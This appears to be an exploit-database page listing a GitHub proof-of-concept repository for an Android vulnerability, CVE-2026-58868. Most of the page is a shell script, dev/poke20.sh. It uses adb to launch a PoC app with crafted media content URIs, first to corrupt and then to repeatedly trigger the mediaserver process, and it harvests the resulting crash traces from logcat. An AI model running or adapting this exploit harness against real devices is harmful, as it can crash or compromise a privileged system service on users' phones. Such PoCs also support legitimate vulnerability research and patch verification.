Exploit database

GH-6e0f88ff03ddf4d23f187227c961c0ab

redfishrouge/cve-2026-58868-poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-58868

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files34
redfishrouge/cve-2026-58868-pocRevision d37c7a14b9c3

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

dev/poke20.sh

Shell · 812 bytes
#!/bin/bash
A=/opt/sdk/platform-tools/adb
D="-s emulator-5554"
CORRUPT=${1:-62}
POKE=${2:-58}
$A $D shell am force-stop p.poc
$A $D shell am start -n p.poc/.Main --es content "content://media/external/images/media/$CORRUPT" --ei bpp 2 >/dev/null 2>&1
sleep 3
PID=$($A $D shell pidof mediaserver | tr -d '\r')
echo "after corruption pid=$PID"
$A $D logcat -c
for i in $(seq 1 20); do
  $A $D shell am force-stop p.poc
  $A $D shell am start -n p.poc/.Main --es content "content://media/external/images/media/$POKE" --ei bpp 2 >/dev/null 2>&1
  sleep 1
  p=$($A $D shell pidof mediaserver | tr -d '\r')
  if [ "$p" != "$PID" ]; then
    echo "poke $i CRASH"
    $A $D logcat -d | grep -E 'Fatal signal|name: |#0[0-2] pc' | head -5
    break
  fi
done
echo "final pid=$($A $D shell pidof mediaserver | tr -d '\r')"